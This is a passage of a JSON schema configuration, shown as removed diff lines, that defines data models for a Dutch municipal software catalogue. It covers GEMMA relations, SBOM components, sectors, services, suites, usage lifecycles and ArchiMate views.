"maxItems": null, - "$ref": "", - "items": { - "cascadeDelete": true, - "$ref": "#/components/schemas/property-definition", - "type": "object" - }, - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "properties", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "objectId": { - "description": "Object ID van deze Relation", - "type": "string", - "facetable": false, - "title": "objectId", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "gemmaType": { - "description": "GEMMA type van deze Relation", - "type": "string", - "facetable": true, - "title": "gemmaType", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "gemmaThema": { - "description": "GEMMA thema van deze Relation", - "type": "string", - "facetable": true, - "title": "gemmaThema", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "gemmaUrl": { - "description": "GEMMA URL van deze Relation", - "type": "string", - "facetable": false, - "title": "gemmaUrl", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "gemmaStatus": { - "description": "GEMMA status van deze Relation", - "type": "string", - "facetable": true, - "title": "gemmaStatus", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "status": { - "description": "Status van deze Relation", - "type": "string", - "facetable": false, - "title": "status", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "verbindingsrol": { - "description": "Verbindingsrol van deze Relation", - "type": "string", - "facetable": false, - "title": "verbindingsrol", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "notes": { - "description": "Toelichting van deze Relation", - "type": "string", - "facetable": false, - "title": "notes", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "omschrijving": { - "description": "Summary van deze Relation", - "type": "string", - "facetable": false, - "title": "summary", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "xml": { - "type": "object", - "title": "XML Data", - "description": "Original ArchiMate XML structure for round-trip export fidelity" - } - }, - "archive": [], - "source": "internal", - "hardValidation": true, - "immutable": false, - "searchable": true, - "maxDepth": 4, - "owner": "softwarecatalog", - "application": "softwarecatalog", - "organisation": null, - "groups": null, - "authorization": { - "read": [ - "public" - ] - }, - "configuration": { - "objectNameField": "name | type | identifier", - "objectSummaryField": "summary", - "objectDescriptionField": "documentation" - } - }, - "sbomComponent": { - "uri": null, - "slug": "sbomComponent", - "title": "SBOM component", - "description": "Schema voor componenten die zijn geïmporteerd uit een SBOM (Software Bill of Materials, CycloneDX of SPDX) voor een applicatieversie.", - "version": "0.0.1", - "omschrijving": "", - "icon": "PackageVariantClosed", - "required": [ - "moduleVersion", - "name" - ], - "properties": { - "moduleVersion": { - "description": "De applicatieversie waarvan dit component onderdeel is", - "type": "object", - "order": 1, - "title": "Application version", - "visible": true, - "facetable": false, - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/moduleVersion", - "inversedBy": "sbomComponents" - }, - "name": { - "description": "Naam van het component zoals gerapporteerd in de SBOM", - "type": "string", - "order": 2, - "title": "Name", - "visible": true, - "facetable": false, - "maxLength": 255 - }, - "version": { - "description": "Versie van het component zoals gerapporteerd in de SBOM", - "type": "string", - "order": 3, - "title": "Version", - "visible": true, - "facetable": false, - "maxLength": 100 - }, - "purl": { - "description": "Package URL (pkg:...) van het component", - "type": "string", - "order": 4, - "title": "Package URL", - "visible": true, - "facetable": false, - "maxLength": 500 - }, - "licenses": { - "description": "Licentie-identificaties of -expressies zoals gerapporteerd in de SBOM", - "type": "array", - "order": 5, - "title": "Licenses", - "visible": true, - "facetable": false, - "items": { - "type": "string" - } - }, - "type": { - "description": "CycloneDX componenttype (library, application, framework, container, ...)", - "type": "string", - "order": 6, - "title": "Type", - "visible": true, - "facetable": true - }, - "hashes": { - "description": "Bestandshashes van het component (alleen informatief, niet gebruikt voor matching)", - "type": "array", - "order": 7, - "title": "Hashes", - "visible": false, - "facetable": false, - "items": { - "type": "object", - "properties": { - "alg": { - "type": "string", - "title": "Algorithm", - "description": "Naam van het hash-algoritme zoals CycloneDX het aanlevert, bijvoorbeeld SHA-256 of SHA-512." - }, - "value": { - "type": "string", - "title": "Value", - "description": "De hexadecimale hashwaarde die met het genoemde algoritme over het componentbestand is berekend." - } - } - } - }, - "bomRef": { - "description": "CycloneDX bom-ref van het component; alleen gebruikt voor traceerbaarheid binnen één import", - "type": "string", - "order": 8, - "title": "BOM reference", - "visible": false, - "facetable": false, - "maxLength": 255 - }, - "vexCveIds": { - "description": "CVE-identificaties die de SBOM's VEX-blok (vulnerabilities[]) aan dit component koppelt via bom-ref. Ruwe feiten uit het brondocument — GEEN opgeslagen match: het al-dan-niet overeenkomen met een kwetsbaarheid wordt altijd on-the-fly berekend tegen het kwetsbaarheid-register, nooit hier vastgelegd.", - "type": "array", - "order": 9, - "title": "VEX CVE-ids", - "visible": false, - "facetable": false, - "items": { - "type": "string" - } - } - }, - "archive": [], - "source": "internal", - "hardValidation": false, - "immutable": false, - "searchable": true, - "maxDepth": 0, - "owner": "system", - "application": null, - "organisation": null, - "groups": null, - "authorization": { - "read": [ - "public" - ] - }, - "configuration": { - "objectNameField": "name", - "objectSummaryField": "version", - "objectDescriptionField": "purl", - "autoPublish": true - } - }, - "sector": { - "uri": null, - "slug": "sector", - "title": "Sector", - "description": "Schema voor sectoren binnen de softwarecatalogus", - "version": "0.0.10", - "omschrijving": "", - "icon": "Domain", - "required": [ - "name" - ], - "properties": { - "name": { - "description": "Naam van de sector", - "type": "string", - "required": true, - "visible": true, - "order": 1, - "facetable": false, - "title": "Name", - "maxLength": 200, - "example": "Bijvoorbeeld: Overheid" - }, - "description": { - "description": "Beschrijving van de sector", - "type": "string", - "visible": true, - "order": 2, - "facetable": false, - "title": "Description", - "maxLength": 1000, - "example": "Bijvoorbeeld: Publieke sector en overheidsdiensten" - } - }, - "archive": [], - "source": "internal", - "hardValidation": false, - "immutable": false, - "searchable": true, - "maxDepth": 0, - "owner": "system", - "application": null, - "organisation": null, - "groups": null, - "authorization": { - "create": [ - "vng-raadpleger", - "software-catalog-users", - "software-catalog-admins", - "organisaties-beheerder", - "organisatie-beheerder", - "gebruik-raadpleger", - "gebruik-beheerder", - "functioneel-beheerder", - "ambtenaar", - "aanbod-beheerder" - ], - "read": [ - "public", - "aanbod-beheerder", - "ambtenaar", - "functioneel-beheerder", - "gebruik-beheerder", - "vng-raadpleger", - "software-catalog-users", - "software-catalog-admins", - "organisatie-beheerder", - "organisaties-beheerder", - "gebruik-raadpleger" - ], - "update": [ - "aanbod-beheerder", - "ambtenaar", - "functioneel-beheerder", - "gebruik-beheerder", - "gebruik-raadpleger", - "organisatie-beheerder", - "organisaties-beheerder", - "software-catalog-admins", - "software-catalog-users", - "vng-raadpleger" - ], - "delete": [ - "aanbod-beheerder", - "vng-raadpleger", - "software-catalog-users", - "software-catalog-admins", - "organisaties-beheerder", - "organisatie-beheerder", - "gebruik-raadpleger", - "gebruik-beheerder", - "functioneel-beheerder", - "ambtenaar" - ] - }, - "configuration": { - "objectNameField": "name", - "objectDescriptionField": "description", - "autoPublish": false - } - }, - "catalogService": { - "uri": null, - "slug": "catalogService", - "x-schema-org": "schema:Service", - "title": "Service", - "description": "Een specifiek aanbod van een dienst op een of meerdere applicaties door een leverancier", - "version": "0.2.1", - "omschrijving": "", - "icon": "Handshake", - "required": [ - "name", - "provider", - "type" - ], - "properties": { - "name": { - "description": "De naam van uw dienst", - "type": "string", - "required": true, - "visible": true, - "order": 1, - "minLength": null, - "maxLength": 200, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "inversedBy": "", - "table": { - "default": true - }, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "facetable": false, - "title": "Name", - "example": "Bijvoorbeeld: Implementatie en ondersteuning" - }, - "shortDescription": { - "type": "string", - "description": "Een korte beschrijving van de dienst voor o.a. in de zoekresultaten.", - "title": "Short description", - "facetable": false, - "maxLength": 255, - "table": { - "default": true - }, - "order": 5, - "example": "Bijvoorbeeld: Korte beschrijving van de dienst" - }, - "longDescription": { - "description": "Een uitgebreide omschrijving van uw dienst. Dit kan met mark down opgemaakt worden.", - "type": "string", - "format": "markdown", - "visible": true, - "order": 6, - "facetable": false, - "title": "Extended description", - "maxLength": 5000, - "example": "Bijvoorbeeld: Uitgebreide beschrijving van de dienst met alle details" - }, - "website": { - "type": "string", - "format": "url", - "description": "Een URL naar uw dienst, applicatie of organisatie", - "facetable": false, - "title": "Website", - "order": 4, - "visible": true, - "maxLength": 500, - "example": "https://dienst.voorbeeld.nl" - }, - "contactPerson": { - "description": "Selecteer de contactpersoon voor deze dienst", - "type": "object", - "visible": true, - "order": 1, - "facetable": false, - "title": "Contact person", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/contactPerson", - "x-relation-filter": { - "organization": "@object.provider" - } - }, - "modules": { - "description": "Zoek de applicaties op waar deze dienst van toepassing is.", - "type": "array", - "visible": true, - "order": 2, - "facetable": false, - "title": "Application", - "$ref": "#/components/schemas/module", - "x-relation-filter": { - "provider": "@object.provider" - }, - "items": { - "type": "object", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/module" - } - }, - "provider": { - "referenceSemanticType": "https://openregister.app/ns#Vendor", - "description": "De leverende partij die deze dienst beschikbaar stelt", - "type": "object", - "required": true, - "visible": true, - "order": 3, - "facetable": false, - "table": { - "default": true - }, - "title": "Provider", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/organization" - }, - "type": { - "description": "kies één of meer typen die op deze dienst van toepassing zijn.", - "type": "array", - "items": { - "type": "string", - "enum": [ - "Functional management", - "Application management", - "Technical management", - "Implementation support", - "Training", - "Licence reseller" - ] - }, - "required": true, - "visible": true, - "order": 4, - "table": { - "default": true - }, - "facetable": { - "title": "Service type", - "aggregated": false - }, - "title": "Service type", - "example": "Bijvoorbeeld: Implementatieondersteuning" - }, - "logo": { - "description": "Het logo van de dienst of de organisatie", - "type": "file", - "format": "base64", - "visible": true, - "order": 5, - "facetable": false, - "title": "Logo", - "fileConfiguration": { - "allowedMimeTypes": [ - "image/jpeg", - "image/png", - "image/gif", - "image/svg+xml", - "image/webp" - ], - "maxSize": 5242880 - } - }, - "koppelingen": { - "description": "Koppelingen die gebruikt worden door deze dienst", - "type": "array", - "visible": false, - "order": 8, - "facetable": false, - "title": "Connections", - "$ref": "#/components/schemas/connection", - "x-relation-filter": { - "service": "@objectId" - }, - "items": { - "type": "object", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/connection", - "inversedBy": "service" - } - }, - "publicationDate": { - "description": "Publication date as open data. Anonymous (public) readers can see this dienst only once publicatiedatum is set and not in the future. Set by the open-data publish action; cleared by depublish.", - "type": "string", - "format": "date-time", - "visible": true, - "order": 50, - "facetable": false, - "title": "Publication date" - }, - "depublicationDate": { - "description": "Depublication date. When set (and not in the future) the dienst is withdrawn from the open-data surface. Set by the depublish action.", - "type": "string", - "format": "date-time", - "visible": true, - "order": 51, - "facetable": false, - "title": "Unpublication date" - } - }, - "archive": [], - "source": "internal", - "hardValidation": false, - "immutable": false, - "searchable": true, - "maxDepth": 0, - "owner": "1", - "application": null, - "organisation": null, - "groups": null, - "authorization": { - "create": [ - "vng-raadpleger", - "software-catalog-users", - "software-catalog-admins", - "organisaties-beheerder", - "organisatie-beheerder", - "gebruik-raadpleger", - "gebruik-beheerder", - "functioneel-beheerder", - "ambtenaar", - "aanbod-beheerder" - ], - "read": [ - { - "group": "public", - "match": { - "publicationDate": { - "$lte": "$now" - } - } - }, - "aanbod-beheerder", - "ambtenaar", - "functioneel-beheerder", - "gebruik-beheerder", - "vng-raadpleger", - "software-catalog-users", - "software-catalog-admins", - "organisatie-beheerder", - "organisaties-beheerder", - "gebruik-raadpleger" - ], - "update": [ - "aanbod-beheerder", - "ambtenaar", - "functioneel-beheerder", - "gebruik-beheerder", - "gebruik-raadpleger", - "organisatie-beheerder", - "organisaties-beheerder", - "software-catalog-admins", - "software-catalog-users", - "vng-raadpleger" - ], - "delete": [ - "aanbod-beheerder", - "vng-raadpleger", - "software-catalog-users", - "software-catalog-admins", - "organisaties-beheerder", - "organisatie-beheerder", - "gebruik-raadpleger", - "gebruik-beheerder", - "functioneel-beheerder", - "ambtenaar" - ] - }, - "configuration": { - "objectNameField": "name", - "objectSummaryField": "shortDescription", - "objectDescriptionField": "longDescription", - "objectImageField": "logo", - "allowFiles": true, - "allowedTags": [ - "ISO-9001", - "ISO-27001", - "ISO-16075", - "Verklaring van toepasselijkheid" - ], - "autoPublish": true - } - }, - "suite": { - "uri": null, - "slug": "suite", - "x-schema-org": "schema:SoftwareApplication", - "title": "Suite", - "description": "Een suite is een verzameling van applicaties die samen een product vormen", - "version": "0.1.4", - "omschrijving": "", - "icon": "PackageVariant", - "required": [ - "name", - "shortDescription" - ], - "properties": { - "name": { - "description": "Naam van de suite", - "type": "string", - "required": true, - "visible": true, - "order": 1, - "maxLength": 200, - "facetable": false, - "title": "Name", - "table": { - "default": true - }, - "example": "Bijvoorbeeld: VNG Suite" - }, - "shortDescription": { - "type": "string", - "title": "Short description", - "description": "Korte beschrijving van de suite", - "facetable": false, - "maxLength": 255, - "order": 2, - "table": { - "default": true - }, - "example": "Bijvoorbeeld: Een korte samenvatting van de suite" - }, - "longDescription": { - "description": "Uitgebreide beschrijving van de suite", - "type": "string", - "format": "markdown", - "visible": true, - "order": 3, - "maxLength": 5000, - "facetable": false, - "title": "Extended description", - "example": "Bijvoorbeeld: Een uitgebreide beschrijving van de suite met alle functionaliteiten" - }, - "logo": { - "description": "Logo van de suite", - "type": "file", - "format": "base64", - "visible": true, - "order": 4, - "facetable": false, - "title": "Logo", - "table": { - "default": true - }, - "fileConfiguration": { - "allowedMimeTypes": [ - "image/jpeg", - "image/png", - "image/gif", - "image/svg+xml", - "image/webp" - ], - "maxSize": 5242880 - } - }, - "website": { - "description": "Website van de suite", - "type": "string", - "format": "url", - "visible": true, - "order": 5, - "maxLength": 500, - "facetable": false, - "title": "Website", - "example": "https://voorbeeld.nl/suite" - }, - "contactPerson": { - "description": "Contactpersoon voor de suite", - "type": "object", - "visible": true, - "order": 6, - "facetable": false, - "title": "Contact", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/contactPerson" - }, - "applications": { - "description": "De applicaties die onderdeel zijn van deze suite", - "type": "array", - "visible": true, - "order": 7, - "facetable": false, - "title": "Applications", - "items": { - "type": "object", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/module" - } - } - }, - "archive": [], - "source": "internal", - "hardValidation": false, - "immutable": false, - "searchable": true, - "maxDepth": 0, - "owner": "system", - "application": null, - "organisation": null, - "groups": null, - "authorization": { - "create": [ - "vng-raadpleger", - "software-catalog-users", - "software-catalog-admins", - "organisaties-beheerder", - "organisatie-beheerder", - "gebruik-raadpleger", - "gebruik-beheerder", - "functioneel-beheerder", - "ambtenaar", - "aanbod-beheerder" - ], - "read": [ - "public", - "aanbod-beheerder", - "ambtenaar", - "functioneel-beheerder", - "gebruik-beheerder", - "vng-raadpleger", - "software-catalog-users", - "software-catalog-admins", - "organisatie-beheerder", - "organisaties-beheerder", - "gebruik-raadpleger" - ], - "update": [ - "aanbod-beheerder", - "ambtenaar", - "functioneel-beheerder", - "gebruik-beheerder", - "gebruik-raadpleger", - "organisatie-beheerder", - "organisaties-beheerder", - "software-catalog-admins", - "software-catalog-users", - "vng-raadpleger" - ], - "delete": [ - "aanbod-beheerder", - "vng-raadpleger", - "software-catalog-users", - "software-catalog-admins", - "organisaties-beheerder", - "organisatie-beheerder", - "gebruik-raadpleger", - "gebruik-beheerder", - "functioneel-beheerder", - "ambtenaar" - ] - }, - "configuration": { - "objectNameField": "name", - "objectSummaryField": "shortDescription", - "objectDescriptionField": "longDescription", - "objectImageField": "logo", - "allowFiles": true, - "allowedTags": [ - "DPIA", - "Handleiding" - ], - "autoPublish": true, - "jsonld": { - "type": "https://schema.org/SoftwareApplication" - } - } - }, - "usage": { - "uri": null, - "slug": "usage", - "title": "Usage", - "description": "Het gebruik van applicaties, diensten en koppelingen door afnemers", - "version": "1.5.1", - "omschrijving": "", - "icon": "Gauge", - "x-openregister-notifications": { - "phaseout-approaching": { - "trigger": { - "type": "scheduled", - "intervalSec": 86400, - "filter": { - "startDateOutPhasing": { - "operator": "withinNext", - "value": "P180D" - } - } - }, - "enabled": true, - "channels": [ - "nc-notification", - "email" - ], - "recipients": [ - { - "kind": "groups", - "groups": [ - "software-catalog-admins" - ] - }, - { - "kind": "object-acl", - "permission": "manage" - } - ], - "subject": { - "nl": "Uitfasering nadert: {{contractNummer}} (uit te faseren {{startDatumUitTeFaseren}})", - "en": "Phase-out approaching (phase-out date {{startDatumUitTeFaseren}})" - } - } - }, - "required": [ - "consumer" - ], - "properties": { - "consumer": { - "type": "object", - "title": "Consumer", - "description": "De organisatie die afnemer is van de applicatie", - "facetable": false, - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/organization", - "required": true, - "order": 11 - }, - "provider": { - "type": "object", - "title": "Provider", - "description": "De organisatie die aanbieder is van de applicatie", - "facetable": false, - "visible": false, - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/organization", - "required": false, - "order": 12 - }, - "contactPerson": { - "type": "object", - "description": "De contactpersoon voor dit gebruik", - "facetable": false, - "visible": false, - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/contactPerson", - "title": "Contact person", - "order": 3 - }, - "participants": { - "description": "De organisaties die deelnemen aan dit gebruik (voor samenwerkingen)", - "type": "array", - "visible": true, - "facetable": false, - "title": "Participants", - "order": 6, - "items": { - "type": "object", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/organization" - } - }, - "startDateAcquisition": { - "description": "De start datum voor het \"Verwerving\" status", - "type": "string", - "format": "date", - "visible": true, - "order": 14, - "facetable": false, - "title": "Acquisition start date", - "example": "Bijvoorbeeld: 2025-01-01" - }, - "startDatePlanned": { - "description": "De start datum voor het \"Gepland\" status", - "type": "string", - "format": "date", - "visible": true, - "order": 16, - "minLength": null, - "maxLength": null, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "inversedBy": "", - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "facetable": false, - "title": "Planned start date", - "example": "Bijvoorbeeld: 2025-02-01" - }, - "startDateInProduction": { - "description": "De start datum voor het \"actief\" status", - "type": "string", - "format": "date", - "visible": true, - "order": 14, - "minLength": null, - "maxLength": null, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "inversedBy": "", - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "facetable": false, - "title": "Start date in production", - "example": "Bijvoorbeeld: 2025-03-01" - }, - "startDateOutPhasing": { - "description": "De start datum voor het \"Beëindigd\" status", - "type": "string", - "format": "date", - "visible": true, - "order": 15, - "minLength": null, - "maxLength": null, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "inversedBy": "", - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "facetable": false, - "title": "Phase-out start date", - "example": "Bijvoorbeeld: 2025-12-31" - }, - "startDateOutPhased": { - "description": "De start datum voor het \"Uit gefaseerd\" status", - "type": "string", - "format": "date", - "visible": true, - "order": 15, - "minLength": null, - "maxLength": null, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "inversedBy": "", - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "facetable": false, - "title": "Phase-out completed date", - "example": "Bijvoorbeeld: 2025-12-31" - }, - "status": { - "description": "Selecteer de status van de versie in uw landschap (default status \"in productie\")", - "type": "string", - "default": "In production", - "required": true, - "visible": true, - "order": 17, - "minLength": null, - "maxLength": null, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "inversedBy": "", - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "enum": [ - "Acquisition", - "Planned", - "In production", - "To be phased out", - "Phased out" - ], - "facetable": false, - "title": "Status", - "example": "Bijvoorbeeld: Gepland" - }, - "interneAnnotation": { - "description": "Voeg Interne notitie toe, bijvoorbeeld over kosten of eigenaarschap.", - "type": "string", - "visible": true, - "hideOnCollection": true, - "order": 10, - "minLength": null, - "maxLength": null, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "inversedBy": "", - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "facetable": false, - "title": "Internal note", - "example": "Bijvoorbeeld: Interne notitie over het gebruik", - "authorization": { - "read": [ - { - "group": "public", - "match": { - "_organisation": "$organisation" - } - } - ], - "update": [ - { - "group": "public", - "match": { - "_organisation": "$organisation" - } - } - ] - } - }, - "module": { - "description": "Selecteer de applicatie uit uw aanbod", - "type": "object", - "visible": true, - "order": 20, - "facetable": false, - "title": "Application", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/module", - "inversedBy": "usage", - "table": { - "default": true - } - }, - "moduleVersion": { - "description": "Selecteer de versie (on-premisse - default nieuwste versie, SaaS - default versie 'Cloud')", - "type": "object", - "visible": true, - "order": 21, - "facetable": false, - "title": "Version", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/moduleVersion", - "inversedBy": "usage", - "x-relation-filter": { - "module": "@object.module" - }, - "table": { - "default": true - } - }, - "usedForReferenceComponents": { - "description": "GEMMA referentiecomponenten waarvoor dit product wordt gebruikt", - "type": "array", - "visible": true, - "order": 22, - "facetable": true, - "title": "Reference components", - "items": { - "type": "object", - "objectConfiguration": { - "handling": "related-object", - "queryParams": "gemmaType=referentiecomponent&_extend=aanbevolenStandaarden,verplichteStandaarden" - }, - "$ref": "#/components/schemas/element" - }, - "table": { - "default": true - } - }, - "amefElements": { - "description": "Ids van AMEF elementen waarvoor dit product wordt gebruikt", - "type": "array", - "visible": false, - "order": 22, - "facetable": false, - "title": "AMEF elements", - "items": { - "type": "string" - } - }, - "elementRef": { - "description": "Id of the ArchiMate element this usage is shown on.", - "type": "string", - "visible": false, - "order": 23, - "facetable": false, - "title": "ArchiMate element" - }, - "koppelingen": { - "description": "De koppelingen die gebruikt worden binnen dit productgebruik", - "type": "array", - "visible": true, - "order": 24, - "facetable": false, - "title": "Connections", - "items": { - "type": "object", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/connection" - } - }, - "diensten": { - "description": "De diensten die onderdeel zijn van dit gebruik", - "type": "array", - "visible": true, - "order": 25, - "facetable": false, - "title": "Services", - "items": { - "type": "object", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/catalogService" - } - }, - "cloudDienstverleningsmodel": { - "type": "array", - "format": "", - "title": "Hosting", - "description": "Kies het type hosting waarmee de applicatie wordt gebruikt. (SaaS of On-premise)", - "facetable": true, - "items": { - "type": "string", - "enum": [ - "On-premises (self-managed)", - "IaaS", - "PaaS", - "SaaS" - ] - }, - "example": "SaaS", - "table": { - "default": true - } - }, - "plannedReplacement": { - "description": "De module die dit gebruik gepland gaat vervangen (opvolger). Wordt per gebruik vastgelegd, niet op de module zelf.", - "type": "object", - "visible": true, - "order": 30, - "facetable": false, - "title": "Planned replacement", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/module" - }, - "plannedReplacementDate": { - "description": "De geplande datum waarop de vervanging plaatsvindt.", - "type": "string", - "format": "date", - "visible": true, - "order": 31, - "facetable": false, - "title": "Planned replacement date", - "example": "Bijvoorbeeld: 2027-01-01" - }, - "timeClassification": { - "description": "Gartner TIME-classificatie van dit gebruik: Tolerate (gedogen), Invest (investeren), Migrate (migreren) of Eliminate (uitfaseren). Wordt per gebruik vastgelegd, niet op de module zelf.", - "type": "string", - "visible": true, - "order": 32, - "facetable": true, - "title": "TIME classification", - "enum": [ - "Tolerate", - "Invest", - "Migrate", - "Eliminate" - ], - "example": "Bijvoorbeeld: Migrate" - }, - "timeRationale": { - "description": "Onderbouwing van de TIME-classificatie voor dit gebruik.", - "type": "string", - "visible": true, - "order": 33, - "facetable": false, - "title": "TIME rationale", - "example": "Bijvoorbeeld: Verouderd platform, opvolger reeds gepland" - }, - "timeReviewDate": { - "description": "Datum waarop de TIME-classificatie van dit gebruik opnieuw beoordeeld moet worden.", - "type": "string", - "format": "date", - "visible": true, - "order": 34, - "facetable": false, - "title": "TIME review date", - "example": "Bijvoorbeeld: 2027-01-01" - } - }, - "archive": [], - "source": "internal", - "hardValidation": false, - "immutable": false, - "searchable": true, - "maxDepth": 0, - "owner": "1", - "application": null, - "organisation": null, - "groups": null, - "authorization": { - "create": [ - "vng-raadpleger", - "software-catalog-users", - "software-catalog-admins", - "organisaties-beheerder", - "organisatie-beheerder", - "gebruik-raadpleger", - "gebruik-beheerder", - "functioneel-beheerder", - "ambtenaar", - "aanbod-beheerder" - ], - "read": [ - { - "group": "gebruik-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "gebruik-beheerder", - "match": { - "consumer": "$organisation" - } - }, - { - "group": "aanbod-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "aanbod-beheerder", - "match": { - "provider": "$organisation" - } - } - ], - "update": [ - "aanbod-beheerder", - "ambtenaar", - "functioneel-beheerder", - "gebruik-beheerder", - "gebruik-raadpleger", - "organisatie-beheerder", - "organisaties-beheerder", - "software-catalog-admins", - "software-catalog-users", - "vng-raadpleger" - ], - "delete": [ - "aanbod-beheerder", - "vng-raadpleger", - "software-catalog-users", - "software-catalog-admins", - "organisaties-beheerder", - "organisatie-beheerder", - "gebruik-raadpleger", - "gebruik-beheerder", - "functioneel-beheerder", - "ambtenaar" - ] - }, - "configuration": { - "objectNameField": "consumer", - "objectDescriptionField": "module", - "allowFiles": true, - "allowedTags": [ - "DPIA", - "Contract", - "Verwerkingsovereenkomst" - ], - "autoPublish": false, - "x-openregister-lifecycle": { - "field": "status", - "initial": "Acquisition", - "final": [ - "Phased out" - ], - "transitions": { - "plan": { - "from": [ - "Acquisition" - ], - "to": "Planned", - "description": "Plan the usage." - }, - "goLive": { - "from": [ - "Planned" - ], - "to": "In production", - "description": "Go live with the usage." - }, - "phaseOut": { - "from": [ - "In production" - ], - "to": "To be phased out", - "description": "Mark the usage to be phased out." - }, - "retire": { - "from": [ - "To be phased out" - ], - "to": "Phased out", - "description": "Retire the usage." - } - } - } - } - }, - "view": { - "uri": null, - "slug": "view", - "title": "View", - "description": "AMEF View - Architectuur views en diagrammen uit het ArchiMate model", - "version": "0.0.7", - "omschrijving": "", - "icon": "EyeOutline", - "required": [ - "identifier", - "type", - "name", - "properties", - "nodes", - "connections" - ], - "properties": { - "identifier": { - "description": "De identifier van deze View", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "id-a6ee6077d3094afa91fc6ea92a9a2a40", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "identifier" - }, - "type": { - "description": "De type van deze View", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "Diagram", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "facetable": false, - "title": "type" - }, - "viewpoint": { - "description": "De viewpoint van deze View", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "Application Structure", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "viewpoint" - }, - "name": { - "description": "De name van deze View", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "LV01 BGT basisregistratie en SVB view", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "facetable": false, - "title": "name" - }, - "nameLong": { - "description": "De name-language van deze View", - 